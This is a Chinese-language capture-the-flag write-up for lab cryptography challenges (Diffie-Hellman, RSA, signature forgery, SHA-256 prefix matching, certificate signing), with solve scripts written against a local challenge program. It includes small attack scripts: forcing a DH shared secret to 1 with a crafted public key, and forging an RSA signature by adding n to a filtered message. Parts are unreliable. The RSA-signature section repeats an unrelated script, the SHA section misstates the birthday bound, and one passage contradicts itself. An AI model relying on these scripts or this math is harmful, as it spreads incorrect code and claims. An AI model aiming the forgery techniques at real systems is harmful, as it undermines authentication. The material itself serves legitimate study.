p、g、A和B,但无法恢复a或b。如果不是在有限域中,通过以g为底的对数来恢复a和b将是微不足道的:log_g(A) == a和log_g(B) == b。然而,这在模运算下的有限域中不起作用,因为从概念上讲,我们无法有效确定g ** a计算从p-1到0"循环"了多少次,而这正是计算对数所需的。这个有限域中的对数问题被称为离散对数,如果不使用量子计算机,没有有效的方法来解决它。量子计算机解决这个问题的能力是使其对密码学构成最直接威胁的原因。 - Alice 计算
s = (B ** a) mod p,由于B是(g ** b) mod p,这导致s = ((g ** b) ** a) mod p,或者应用中学数学,s = (g ** (b*a)) mod p。Bob 计算s = (A ** b) mod p,由于A是(g ** a) mod p,这导致s = (g ** (a*b)) mod p。由于a*b == b*a,Bob 和 Alice 计算的s值是相等的! - Eve 无法计算
s,因为 Eve 缺少a或b。Eve 可以计算A ** B == g ** a ** g ** b,这简化为类似g ** (a*(g**b))的形式,但并没有让 Eve 更接近s!Eve 也可以计算A * B == (g ** a) * (g ** b) == g ** (a+b),但同样,这不是 Bob 和 Alice 得到的s == g ** (a*b)。Eve 运气不好!
因为 A 和 B 是公开的,它们被称为公钥,而 a 和 b 是私钥。此外,你可能注意到在这一关中我们使用的质数 p 是硬编码的,事实上,对于不同的比特长度有推荐的 DHKE 标准质数。这些质数的标准化允许 Alice 和 Bob 只发布 A 和 B(尽管在实践中,为了支持在某些场景下使用不同的 p,p 也会被传输)。
在这个挑战中,你将执行迪菲-赫尔曼密钥交换。祝你好运!
查看解析
题目会给出:
p = 0xffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece45b3dc2007cb8a163bf0598da48361c55d39a69163fa8fd24cf5f83655d23dca3ad961c62f356208552bb9ed529077096966d670c354e4abc9804f1746c08ca18217c32905e462e36ce3be39e772c180e86039b2783a2ec07a28fb5c55df06f4c52c9de2bcbf6955817183995497cea956ae515d2261898fa051015728e5a8aacaa68ffffffffffffffff
g = 0x2
A = 0x343a2bfa10b6f1781528123b56a703c145b67c73e4d1ca6d9c0f7b99befb74e0245124b921d23fd980817bc97dace7eabe0e317c4a4c2d227d970a173c9fd00ed87123fedd37dbabcc1b5d8b480f37ca97ecd2087f2fac7fe92a54d5a5231fb60c4104594ab42cc477871d88b14d6b6ae71e7a192fb628dac0353fd7e8356fed720dd5e4a6e36e56513e59a764fe4149f505153558bf94b5a41bb828efa078d3ba525d32b1e9e89ed4b1bb99aaadcb7737e71da723520d385f22a2b0cd904abd2703d525beb003d2c890166887d342e27791a9be54215d30bd0d3ed025bbcf9c6a639b9bfff962e8195330b1f58b2861f19d8407a6c9bc7e54982fec33ad9c39
B?
s?
服务器生成私钥 a,计算公钥 A = g^a mod p
服务器要求用户提供公钥 B
服务器计算共享密钥 s = B^a mod p
用户需要提交正确的 s 才能获得flag
步骤:
为了生成公钥,我们作为bob要生成一个秘密数字b,脚本来源于https://writeups.kunull.net/pwn.college/
python
import sys
from Crypto.Random.random import getrandbits
# 2048位MODP群参数 (RFC3526)
p = int.from_bytes(bytes.fromhex(
"FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 "
"29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD "
"EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 "
"E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED "
"EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D "
"C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F "
"83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D "
"670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B "
"E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 "
"DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 "
"15728E5A 8AACAA68 FFFFFFFF FFFFFFFF"
), "big")
g = 2
print(f"p = {p:#x}") # 打印素数p
print(f"g = {g:#x}") # 打印生成元g
# 步骤1: 生成客户端私钥b (2048位随机数)
b = getrandbits(2048)
# 步骤2: 计算客户端公钥B = g^b mod p
B = pow(g, b, p)
print(f"B = {B:#x}")
# 步骤3: 服务器的公钥A (从挑战输出中获取)
A = 0x81a244e1827d3e6a923819106440e1ed37250f07cc27530e634e66551b1948c46f7c631ea0f7d942eb42c7afc147e429bb2a4d6ffa5bb1a09a8f40de5b9d2e7c9a48f06fdf9e50834fec8836141d473d33baff4b9a2286e345eb8ed7a0125a194d3e2a688dee22b2206ef1192688b8a804d633f0b91f5c257e27ebe0e00deecb4b8fe446d76c6db9615d0191580209116f97e372a81c024a2aec60d81de7b069cf88436b54c54bf645eedb16b841b55b3d2915e53f8779493b5228872dc1f293f2e622c0738402761b229bafed9968925f6fbeb0ddf3b796e2f7290efe1ad677639c9ec9157824c13652c26d1435d9dcc496883ba900b8c8c4f3f1e38a12c944
# 步骤4: 计算共享密钥s = A^b mod p
# 数学原理: s = A^b = (g^a)^b = g^(a*b) = B^a
s = pow(A, b, p)
print(f"s = {s:#x}")
DHKE-to-AES
你可能已经注意到 DH 实际上不允许你直接加密数据:它所做的只是促进为 Alice 和 Bob 生成相同的秘密值。这个值不能被选择,Alice 和 Bob 得到的 s 是由 a、b、p 和 g 的值唯一决定的!
这种单一秘密的特性不一定是 DHKE 的缺点。这就是它的目的:让你交换一个秘密供后续使用。
那么 Alice 和 Bob 实际上如何使用 DHKE 交换信息呢?好吧,提示就在名字里:迪菲-赫尔曼密钥交换。当然,这个秘密值可以用作,例如,对称密码的密钥,信息可以在 Alice 和 Bob 之间用该密码加密!
凭借你对 DHKE 的了解,你现在将构建你的第一个类似真实场景的密码系统!你将使用 DHKE 协商一个 AES 密钥,而挑战将使用该密钥加密flag。解密它,赢得胜利!
查看解析
攻击思路:
1、参数提取
从服务器输出中提取p、g
2、发送恶意B
发送B = p + 1,这将使共享密钥s = (B ** a) mod p = 1
3、接收密文
服务器用s派生的密钥加密flag,输出格式为:IV + 密文
4、密钥构造
由于我们知道s = 1,可以构造对应的AES密钥:
1.to_bytes(256, "little") 将整数1转换为256字节的小端序
取前16字节作为AES-128密钥
5、解密
使用已知的密钥和IV解密AES-CBC密文,得到flag
python
from pwn import *
import re
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
context.log_level = "error"
io = process("/challenge/run")
# 1. 获取服务器参数
start = io.recvuntil(b"A = ")
# 使用正则表达式提取p, g,
p = int(re.search(r"p\s*=\s*(0x[0-9a-fA-F]+)", start.decode()).group(1), 16)
g = int(re.search(r"g\s*=\s*(0x[0-9a-fA-F]+)", start.decode()).group(1), 16)
# 2. 发送恶意的B = p + 1
B = p + 1
io.sendlineafter(b"B?", hex(B).encode())
# 3. 接收加密的flag
out = io.recvall(timeout=2)
# 4. 提取密文
m = re.search(rb"Flag Ciphertext\s*\(hex\)\s*:\s*([0-9a-fA-F]+)", out)
ct = bytes.fromhex(m.group(1).decode())
# 5. 分离IV和密文
iv = ct[:16] # AES-CBC模式,前16字节是IV
ciphertext = ct[16:]
# 6. 构造密钥 (s = 1)
key = (1).to_bytes(256, "little")[:16]
# 7. 解密
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ciphertext), AES.block_size)
print("FLAG:", flag.decode(errors="replace"))
RSA 1
迪菲-赫尔曼允许 Alice 和 Bob 在没有预先共享秘密信息的情况下生成一个单一(但不受控制的)共享秘密。接下来,我们将学习另一种密码系统,RSA (Rivest–Shamir–Adleman),它允许 Alice 和 Bob 在没有任何预先共享秘密信息的情况下生成任意数量的受控消息!
RSA 巧妙地利用了模幂运算(你在 DH 中已经体验过)和欧拉定理,赋予 Bob 或 Alice 对整个有限域的非对称控制。Alice 生成两个质数 p 和 q,并保密,然后将它们相乘以创建 n = p*q,Alice 发布 n 来定义一个模 n 的有限域。欧拉定理和对 p 和 q 的了解赋予 Alice,且仅赋予 Alice,在这个特定域中的全部能力(这与 DH 不同,在 DH 中所有参与者在域中具有同等能力!)。
欧拉定理告诉我们,在模 p*q 的域中,指数上的运算(例如,m**(e*d) mod n 中的 e*d)发生在 (p-1)*(q-1) 的域中。这个定理的原因是一些高等数学的东西,说实话,很少有人理解,但结果很有趣。对于 Alice 来说(凭借对 p 和 q 的了解),计算 (p-1)*(q-1) 是微不足道的,但对于其他任何人来说是不可能的(假设 p 和 q 很大),因为人类缺乏一个有效的算法来分解大质数的乘积!
回想一下 m**(e*d) mod n 指数中的 e*d?对于任何 e,知道 (p-1)*(q-1) 允许 Alice 计算一个 d,使得 e*d == 1。虽然这看起来有点傻,但这是 RSA 的核心。Alice 选择一个数字 e(通常相当小以减少计算成本,但又不能太小以免导致某些安全问题)并计算相应的乘法逆元 d。这导致了明文 m 的加密(m**e mod n == c)和解密!c**d mod n == (m**e)**d mod n == m**(e*d) mod n == m**1 mod n == m。与 DH 的单一且不受控制的 s 不同,RSA 的消息 m 可以任意选择(直到 n 的大小,因为该域无法表示更大的数字)。
RSA 是非对称的。Alice 分享 n 和 e 作为公钥,并保密 d 作为私钥。知道 n 和 e,Bob 可以加密消息并发送给 Alice,只有 Alice 可以解密它们。由于 e*d == d*e,Alice可以使用 d 加密消息,但任何人都可以解密它们,因为 e 是公开的。这听起来可能有点傻,但它对于例如证明某个消息只能来自 Alice 是有用的,因为这需要知道 d。
为了回复 Bob,Alice 需要 Bob 自己的公钥,这将是Bob 的 n(与 Alice 的 n 不同,使用 Bob 自己的秘密 p 和 q!)和 e(通常是相同的最小安全值,目前是 65537,但随着新攻击的发现可能会改变)。
在这个挑战中,你将解密一个用 RSA(Rivest–Shamir–Adleman)加密的秘密。这次将同时提供公钥和私钥,让你感受这一切是如何运作的。去吧!
查看解析
RSA加密公式:
加密: c = m^e mod n
解密: m = c^d mod n
题目给出:
(public) n
(public) e
(private) d
Flag Ciphertext (hex)
python解密:
from Crypto.PublicKey import RSA
# 输入参数
ct_hex = "75057d6a4586982d98753b6038fe717c6aef35f06417dd1a9a06636328ceb2f9efebc9282f054416ee15890691472e8a0e9ce6e43acc0362e705d067231346641688dd232093faa4510cffdca18adb135175fa9c1d3f2aca8cde88e411b778ba39dafe04f578c5627fe66048a06a8b6b309133eebfe7ecae5f1008f75d578a530d2dd74db54eb316194a323327423cdae43a6f9c729bf0896801e1e5386df9419497f6c0fc148de1d81d8607c37d1230175d6720f522a009fc967018adc23d6b30ac6d0e1abace97f0a0f9ee191dcbbc514b345b3ea8306a8e5d8ef8aca1cf82d904ba16a1860f3d5fa386cbd289c482e508d9d386a5b9319b3f9e13647c7cc1"
n = 0xdfb9f258c6c71e2d048f3b74b0887abfec974c11acdc3827f0e28fccad85b1c82cb79c7dd0b95b3c193e5b459f859ed542058f7ba807cd0ce1a0f854b5a5b24de41a7c278ca276caea2efbc4dcdf9437c34c78fed79230d8ff4fa1f480c91d8a89cc821ea1585b05d8c09ff5f8cc1b100e3020f3225e37ae2de072c10b60370e14f16127597634392b6b584dcfc48b815750910d297c985c164c464c6125365f0d7920726050d07de8651eb2ff009e20c240a7c5987f56b0826a9eaf86f5ccf2a30891ae76bce9a310feaf55f7ab2042260da644febd1de15e78d1ff3c09d598caff4b6cf988d7224f8de834f9fb513ed85bbeb001363896d36cb29f3d3e00a5
d = 0x1119743566d3f73177a4bee5974c871d3e26fe3067a6d93fec4054bf4f0fe5dba7d74cc5acfb4dc6d52317f4c55180274a898442ee3fd26346a777f37982b593107919be28188ebdc99257b9df2bd377439d07ae6aa988c43d17480899034617bd9a7ce37c6f755d880888f152d7bec5c65fd554dfee9590e17ec3269009058c105ce74aef9211e7345b8e8f2dc59837f35dc505179e3dc11c146a9df3eade4a07d9994d5b55f7dbe47a9027348d01b065128bc1a7d995e0c29c86a7aa717494c426ef57d7729715ec65f2dfbd2d535a16f8c7e689fbdc4d906c0afc69768e94de08e3450b57ee6c0d5c947c9aca2dbf9dc36e0d0919a4d60ee613f79875d1cd"
# 创建RSA私钥对象
private_key = RSA.construct((n, d))
# 解密过程
# 1. 将十六进制密文转换为字节对象,再转换为整数(小端序)
ciphertext = int.from_bytes(bytes.fromhex(ct_hex), 'little')
# 2. 使用RSA私钥解密
plaintext = private_key.decrypt(ciphertext)
# 3. 输出解密结果
print("Flag:", plaintext.decode())
RSA 2
Alice 在模 n 下的超能力来自于对 p 和 q 的了解,以及由此计算指数中 e 的乘法逆元的能力。每个使用 RSA 的人的一个担忧是他们的 n 会被分解,攻击者将获得 p 和 q。
这不是一个不合理的担忧。虽然我们相信分解是困难的,但我们实际上没有证明它是困难的。明天,欧拉 2.0 发表一个专门做这个的算法并非不可能。然而,我们确实知道功能性量子计算机可以分解:欧拉 2.0(实际上是Peter Shor)已经想出了算法!当量子计算机达到足够的功率水平时,RSA 就完蛋了。
在这个挑战中,我们给你量子计算机(或者,至少,我们给你 n 的因子)!使用它们来解密我们用 RSA(Rivest–Shamir–Adleman)加密的flag。
查看解析
RSA加密公式:
加密: c = m^e mod n
解密: m = c^d mod n
n = p * q
题目给出:
(public) e
(private) p
(private) q
Flag Ciphertext (hex)
python解密
from Crypto.Util.number import inverse
# 输入参数
ct_hex = "de0face650843d608adfe2ece93796b4b83cbda9f63ca9893065ffc79ba3d8c176b8c3711e350c8cc3dc8bed3fe5ab6e05b378f3f390b2176f01712b8a61fa1996d96ad6a39261e9a802055290e1be8d26435786055b46e0b60d6801bc5f1a39650ae9a8d25a20fe5f1e60d8e4df97ef1a88614d1d3d0c9d23b04558755571849341ae377106396e7fb336198dc94f39666326b0dc02e4be0f306284533d6c3ad0012067609986e927f50e59de194fb37261fee839df44d5df579ce7c32d22b66d04170267d90c0e15763bcb31022359823e33998a03398fef8aa91bef99e1100f9b13a2f04f95a1abe85d58cbc984cf4de8b7d902d00e0bbcee4118b80aa88f"
p = 0xc6f20d742a0746fe81e163f4c1d1ee1fbed828b26406f7d8a5f4745c153668605a1770ba145bf74dc710dec5467f37e82b9c33a1c7b32473e4df906968815c53454c32076b73703464b3d4b1447b9480a3f3318ecc5994ac3adb39a0800ca49cbaf2804401e47e7c85d2bc8b8e69e0e0b7622514065b5f18625d2133d190e9d9
q = 0xf80b9514ac51604b28a185d8120421ee0b353811ba94cfb445e5d36c3e29bcf4316f1b1611bd238857814453bed0f9cb095e137201ee7646a0eb403d32b5ea64b0b0f802d89af581dd0dc6f384ed514eb7700b958938057365e47c1b4da0ad56ca2855794f43f81e8362912e6545cc802273a6ee5a5424672791e1b52d292d09
e = 0x10001
# 计算n和phi(n)
n = p * q
phi_n = (p - 1) * (q - 1)
# 使用Crypto库的inverse函数计算d
d = inverse(e, phi_n)
# 解密过程
ciphertext = int.from_bytes(bytes.fromhex(ct_hex), 'little')
plaintext_int = pow(ciphertext, d, n)
# 转换为字节串并处理
mod_len = (n.bit_length() + 7) // 8
plaintext_bytes = plaintext_int.to_bytes(mod_len, 'little')
plaintext_bytes = plaintext_bytes.rstrip(b'\x00\n')
# 输出结果
print("Flag:", plaintext_bytes.decode())
RSA 3
在这个挑战中,你将完成一个 RSA 挑战-响应。将提供公钥和私钥。
查看解析
同RSA 1,不同点在于题目希望脚本能做出即时响应
python解密
#!/usr/bin/exec-suid -- /usr/bin/python3 -I
from pwn import *
import re
# 设置日志级别为ERROR,减少不必要输出
context.log_level = "error"
# 启动挑战程序
io = process("/challenge/run")
# 读取直到"challenge: "
start = io.recvuntil(b"challenge: ")
challenge_line = io.recvline()
data = (start + challenge_line).decode()
# 提取RSA参数
e_hex = re.search(r"e:\s*(0x[0-9a-fA-F]+)", data).group(1)
d_hex = re.search(r"d:\s*(0x[0-9a-fA-F]+)", data).group(1)
n_hex = re.search(r"n:\s*(0x[0-9a-fA-F]+)", data).group(1)
challenge_hex = re.search(r"challenge:\s*(0x[0-9a-fA-F]+)", data).group(1)
# 转换为整数
d_int = int(d_hex, 16)
n_int = int(n_hex, 16)
# 转换挑战值为大端序整数
challenge_bytes = bytes.fromhex(challenge_hex[2:])
challenge_int = int.from_bytes(challenge_bytes, "big")
# 计算模数字节长度
mod_len = (n_int.bit_length() + 7) // 8
# RSA私钥解密
response_int = pow(challenge_int, d_int, n_int)
response_bytes = response_int.to_bytes(mod_len, "big")
# 移除前面的空字节填充
response_bytes = response_bytes.lstrip(b"\x00")
# 转换为十六进制格式
response_hex = "0x" + response_bytes.hex()
# 发送响应
io.sendline(response_hex.encode())
# 输出挑战结果
print(io.recvall().decode(errors="ignore"))
RSA 4
在这个挑战中,你将完成一个 RSA 挑战-响应。你将提供公钥。
查看解析
题目步骤:
1、接收公钥参数:
- 要求用户输入 `e` 值,验证条件:`e > 2`
- 要求用户输入 `n` 值,验证条件:`2^512 < n < 2^1024`
2、生成挑战值:
- 使用 `get_random_bytes(64)` 生成 64 字节的随机数
- 将其转换为整数作为挑战值 `challenge`
3、验证响应:
- 接收用户输入的 `response` 值
- 验证条件:`pow(response, e, n) == challenge`
4、返回结果:
- 如果验证通过,返回使用相同公钥加密的 flag
- 加密方式:`pow(int.from_bytes(flag, "little"), e, n).to_bytes(256, "little")`
解题思路:
1、选择已知素数作为 n:
- 使用梅森素数 `n = 2^521 - 1`(这是一个已知的大素数)
- 满足条件:`2^512 < n < 2^1024`
2、选择常用公钥指数:
- 使用 `e = 65537`(这是 RSA 中常用的公钥指数)
- 满足条件:`e > 2`
3、利用素数性质简化计算:
- 因为 `n` 是素数,所以欧拉函数 `φ(n) = n - 1`
- 私钥指数 `d = e^-1 mod φ(n) = e^-1 mod (n-1)`
- 响应值 `response = challenge^d mod n`
python解密
from pwn import *
import base64
# 设置日志级别为ERROR,减少输出
context.log_level = "error"
# 启动挑战程序
io = process("/challenge/run")
# 跳过初始欢迎信息
io.recvuntil(b"===== Welcome to Cryptography!")
io.recvuntil(b"\n\n")
# 使用已知梅森素数2^521-1作为n(素数,φ(n)=n-1)
e = 65537 # 常用RSA公钥指数
n = 2**521 - 1
# 发送e和n
io.sendline(hex(e).encode())
io.recvuntil(b"n: ")
io.sendline(hex(n).encode())
# 获取挑战值
io.recvuntil(b"challenge: ")
challenge = int(io.recvline().strip(), 16)
# 计算私钥d = e^-1 mod φ(n),其中φ(n)=n-1(因为n是素数)
d = pow(e, -1, n-1)
# 计算响应值:response = challenge^d mod n
response = pow(challenge, d, n)
io.sendline(hex(response).encode())
# 获取密文
io.recvuntil(b"secret ciphertext (b64): ")
ciphertext_b64 = io.recvline().strip().decode()
ciphertext = base64.b64decode(ciphertext_b64)
# 解密flag:flag = ciphertext^d mod n
ciphertext_int = int.from_bytes(ciphertext, "little")
flag_int = pow(ciphertext_int, d, n)
flag = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, "little").decode()
# 输出结果
print(f"Flag: {flag}")
RSA Signatures RSA 签名
所以,通过使用 d,Alice 可以加密数据,而(因为 n 和 e 在公钥中)任何人都可以解密……这看起来可能有点傻,但它实际上启用了我们在本模块中尚未看到的一种能力:能够向多个人证明某个消息来自 Alice。这可以作为一种密码学版本的笔墨签名,事实上,它被称为签名!
这一关将探讨 RSA 签名的一种应用(和陷阱)。回想一下 c == m**e mod n,并回想一下中学数学中的 (x**e)*(y**e) == (x*y)**e。这在 mod n 下同样成立,你大概能看到这里的问题了……
这一关给你一个签名预言机。用它来制作一个 flag 命令吧!
查看解析
dispatcher:负责使用RSA私钥对命令进行签名,但拒绝签名包含`b"flag"`的命令
worker:负责验证签名并执行命令,如果命令是`b"flag"`,则打印flag
目标:绕过dispatcher的签名限制,获取`b"flag"`命令的有效签名,最终获取flag
利用原理:
RSA签名算法:
- **签名**:`signature = m^d mod n`
- **验证**:`m' = signature^e mod n`,如果`m' == m`则签名有效
1、目标命令`m = b"flag"`
2、计算`m_flag = int.from_bytes(m, "little")`
3、构造`m1 = m_flag + n`,则`m1 ≡ m_flag mod n`
4、但`m1`的字节表示不会包含`b"flag"`,可绕过dispatcher的检查
5、获取`m1`的签名,该签名与`m`的签名相同
6、提交签名给worker,验证后执行`b"flag"`命令
这样,m1与m的签名不同,但是解密结果却是相同的
解题思路:
1、读取n值:从`/challenge/key-n`获取模数n
2、计算目标命令的整数表示:将`b"flag"`转换为小端序整数`m_flag`
3、构造新消息:计算`m1 = m_flag + n`
4、验证构造的消息:检查`m1`的字节表示是否包含`b"flag"`
5、获取签名:使用dispatcher对`m1`进行签名
6、提交签名:将签名提交给worker,获取flag
python解密
from pwn import *
import base64
# 设置日志级别为ERROR,减少输出
context.log_level = "error"
# 启动挑战程序
io = process("/challenge/run")
# 跳过初始欢迎信息
io.recvuntil(b"===== Welcome to Cryptography!")
io.recvuntil(b"\n\n")
# 使用已知梅森素数2^521-1作为n(素数,φ(n)=n-1)
e = 65537 # 常用RSA公钥指数
n = 2**521 - 1
# 发送e和n
io.sendline(hex(e).encode())
io.recvuntil(b"n: ")
io.sendline(hex(n).encode())
# 获取挑战值
io.recvuntil(b"challenge: ")
challenge = int(io.recvline().strip(), 16)
# 计算私钥d = e^-1 mod φ(n),其中φ(n)=n-1(因为n是素数)
d = pow(e, -1, n-1)
# 计算响应值:response = challenge^d mod n
response = pow(challenge, d, n)
io.sendline(hex(response).encode())
# 获取密文
io.recvuntil(b"secret ciphertext (b64): ")
ciphertext_b64 = io.recvline().strip().decode()
ciphertext = base64.b64decode(ciphertext_b64)
# 解密flag:flag = ciphertext^d mod n
ciphertext_int = int.from_bytes(ciphertext, "little")
flag_int = pow(ciphertext_int, d, n)
flag = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, "little").decode()
# 输出结果
print(f"Flag: {flag}")
Cryptographic Hashes 密码学哈希
SHA 1
如你所见,原始的 RSA 签名是个坏主意,因为它们可能被伪造。在实践中,人们签名的是信息的密码学哈希。哈希是一种单向函数,它接收任意数量的输入(例如,字节或千兆字节甚至更多)并输出一个短(例如,32 字节)的哈希值。输入到哈希函数的任何变化都会以不可逆的方式扩散到整个输出的密码学哈希值中。
因此,安全的哈希是原始数据的一个良好代表:如果 Alice 签名了一个消息的哈希值,那么该消息也可以被视为已被签名。更好的是,由于哈希不是可控制地可逆或可修改的,攻击者能够修改哈希值并不允许他们在新消息上伪造签名。
密码学哈希算法的祸根是碰撞。如果攻击者能够制作两个哈希值相同的信息,那么任何依赖该哈希值的系统(例如上述 RSA 签名方案)的安全性都可能受到损害。例如,考虑到比特币的安全性完全依赖于 SHA256 的抗碰撞性...
虽然 SHA256 的完全碰撞尚不存在,但有些应用程序使用部分哈希验证。这不是一个好做法,因为它使得暴力碰撞更容易。
在这个挑战中,你将使用安全哈希算法(SHA256)对数据进行哈希。你将找到一个小型哈希碰撞。你的目标是找到数据,当对其进行哈希时,具有与秘密相同的哈希值。仅检查 SHA256 哈希值的前 3 个字节。
查看解析
服务器计算flag的SHA256哈希,并输出前6个十六进制字符
用户需要提供一个十六进制字符串输入
服务器计算该输入的SHA256哈希,检查其前6个字符是否与flag哈希的前6个字符相同
如果相同,则输出flag
攻击原理:
听上去SHA256哈希碰撞不太可能成功,因为可能的哈希值有:2²⁵⁶ ≈ 1.16×10⁷⁷种
其中前6字符匹配的可能值:16⁶ = 16,777,216(约1600万)
根据生日攻击原理,找到碰撞的期望尝试次数约为:
√(16⁶) ≈ 4096
python碰撞脚本
import hashlib
import os
# 1. 获取目标哈希前缀(从挑战输出获取)
target = input("Enter prefix: ").strip() # 例如:b43752
i = 0
while True:
# 2. 生成随机输入(32字节)
data = os.urandom(32)
# 3. 计算SHA256哈希
h = hashlib.sha256(data).hexdigest()
# 4. 检查是否匹配目标前缀
if h.startswith(target):
print("FOUND COLLISION!")
print("input hex =", data.hex())
print("hash =", h)
break
i += 1
if i % 100000 == 0:
print("Tried", i)
SHA 2
在这个挑战中,你将使用安全哈希算法(SHA256)对数据进行哈希。你将计算一个小型的工作量证明。你的目标是找到响应数据,当将其附加到挑战数据并进行哈希时,哈希值以 2 个空字节开头。
查看解析
提供:一个随机挑战值 challenge(base64编码)
需要:找到一个 response,使得:SHA256(challenge + response) 的前2个字节 == 0x0000
验证:如果满足条件,则输出flag
概率:每次尝试成功的概率为 1/(2^16) = 1/65536 ≈ 0.0015%
期望尝试次数:期望值 = 2^16 = 65,536次尝试
python解密:
from pwn import *
import hashlib
import base64
context.log_level = "error"
# 启动挑战程序
io = process("/challenge/run")
# 读取挑战值
io.recvuntil(b"challenge (b64): ")
challenge_b64 = io.recvline().strip().decode()
challenge = base64.b64decode(challenge_b64)
print(f"挑战值: {challenge.hex()}")
# 暴力破解寻找响应,使SHA256(challenge + response)前2字节为0x0000
response = None
for i in range(0x1000000): # 增加范围以确保找到
test_response = str(i).encode()
test_hash = hashlib.sha256(challenge + test_response).digest()
if test_hash[:2] == b"\x00\x00":
response = test_response
print(f"找到有效响应: {response}")
break
# 发送响应
response_b64 = base64.b64encode(response).decode()
io.sendline(response_b64.encode())
# 读取结果
result = io.recvall().decode()
print(f"结果: {result}")
# 检查是否成功
if "flag" in result:
print("解法成功!")
else:
print("解法失败")
Trust 信任
TLS 1
在这个挑战中,你将处理公钥证书。将向你提供一个自签名的根证书。同时将提供根私钥,你必须使用它来签署一个用户证书。
查看解析
/challenge/run 扮演 CA + 服务端
root_key = RSA.generate(2048)
show_hex("root key d", root_key.d)
生成 Root RSA 私钥
得到私钥 d 明文
script.py 扮演被 CA 签名的合法客户端
root_d = int(...)
root_e, root_n = 从 root certificate 中解析
读取并保存 root 私钥
这一步直接赋予你 Root CA 权限
步骤
/challenge/run(服务端)
script.py(你)
结果
1
生成 Root RSA 密钥
—
Root 私钥诞生
2
输出 root key d
读取并保存 d
⚠️ 获得 CA 权限
3
构造 Root Certificate
解析 Root Certificate
建立信任锚
4
自签 Root Certificate
—
Root 被信任
5
等待 User Certificate
生成 User RSA
拥有 user 私钥
6
校验 User Certificate 结构
构造合法 User Certificate
结构合法
7
用 Root 公钥验签
用 Root 私钥签名
信任链成立
8
通过证书校验
—
用户被信任
9
用 User 公钥加密 flag
—
得到密文
10
输出密文
用 User 私钥解密
得到 flag
import subprocess, re, json, base64, sys
from Crypto.PublicKey import RSA
from Crypto.Hash.SHA256 import SHA256Hash
from Crypto.Random import get_random_bytes
from Crypto import Random
from Crypto.Util.number import long_to_bytes, bytes_to_long
def read_until(proc, marker):
out = ""
while True:
line = proc.stdout.readline()
if not line:
break
out += line
# print realtime for debugging
sys.stdout.write(line)
sys.stdout.flush()
if marker in line:
break
return out
def main():
# 启动 challenge 程序
proc = subprocess.Popen(
["/challenge/run"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
bufsize=1
)
# 读直到 root certificate signature 行出现
initial = read_until(proc, "root certificate signature (b64):")
# 解析 root key d
m = re.search(r"root key d: (0x[0-9a-fA-F]+)", initial)
if not m:
print("无法解析 root key d")
proc.kill()
return
root_d = int(m.group(1), 16)
# 解析 root certificate (b64)
m = re.search(r"root certificate \(b64\): ([A-Za-z0-9+/=]+)", initial)
if not m:
print("无法解析 root certificate (b64)")
proc.kill()
return
root_cert_b64 = m.group(1)
root_cert = json.loads(base64.b64decode(root_cert_b64))
root_e = root_cert["key"]["e"]
root_n = root_cert["key"]["n"]
print("[*] parsed root e, n, d")
# 生成 user RSA 密钥(1024-bit 满足 2**512 < n < 2**1024)
user_key = RSA.generate(1024)
user_e = user_key.e
user_n = user_key.n
user_d = user_key.d
user_cert = {
"name": "user", # 不能为 "root"
"key": {"e": user_e, "n": user_n},
"signer": "root"
}
user_cert_data = json.dumps(user_cert).encode()
# 按服务端做法计算 SHA256(little-endian bytes 用同一方式哈希即可)
h = SHA256Hash(user_cert_data).digest()
# 用 root 私钥 (root_d, root_n) 做签名: sig = (int.from_bytes(h, "little") ** d) % n
h_int = int.from_bytes(h, "little")
sig_int = pow(h_int, root_d, root_n)
sig_len = (root_n.bit_length() + 7) // 8
sig = int.to_bytes(sig_int, sig_len, "little")
# 将 user certificate 与 signature 用 base64 发给服务端(每个一行)
send = base64.b64encode(user_cert_data).decode() + "\n" + base64.b64encode(sig).decode() + "\n"
proc.stdin.write(send)
proc.stdin.flush()
# 读取剩余输出直到 EOF
rest = proc.stdout.read()
sys.stdout.write(rest)
sys.stdout.flush()
all_out = initial + rest
# 提取 secret ciphertext (b64)
m = re.search(r"secret ciphertext \(b64\):\s*([A-Za-z0-9+/=]+)", all_out)
if not m:
print("没有找到 secret ciphertext (b64)")
return
c_b64 = m.group(1)
c_bytes = base64.b64decode(c_b64)
# 服务端是这样构造密文:
# ciphertext = pow(int.from_bytes(flag, "little"), user_e, user_n).to_bytes(256, "little")
# 所以解密为: m = pow(int.from_bytes(ciphertext,"little"), user_d, user_n) -> to_bytes(...,"little")
c_int = int.from_bytes(c_bytes, "little")
m_int = pow(c_int, user_d, user_n)
m_len = (user_n.bit_length() + 7) // 8
m_bytes = int.to_bytes(m_int, m_len, "little")
# 去掉尾部的 0x00(因为服务端用 little-endian 左对齐写入)
flag = m_bytes.rstrip(b"\x00")
try:
print("\n[*] flag (raw bytes):", flag)
print("[*] flag (utf-8):", flag.decode())
except Exception:
print("[*] flag (hex):", flag.hex())
if __name__ == "__main__":
main()
TLS 2
在这个挑战中,你将执行一个简化的传输层安全性(TLS)握手,扮演服务器的角色。将向你提供迪菲-赫尔曼参数、一个自签名的根证书以及根私钥。客户端将请求与特定名称建立安全通道,并启动迪菲-赫尔曼密钥交换。服务器必须完成密钥交换,并从交换的秘密中派生出 AES-128 密钥。然后,使用加密通道,服务器必须提供所请求的用户证书(由根证书签名)。最后,使用加密通道,服务器必须签署握手以证明其拥有用户私钥。
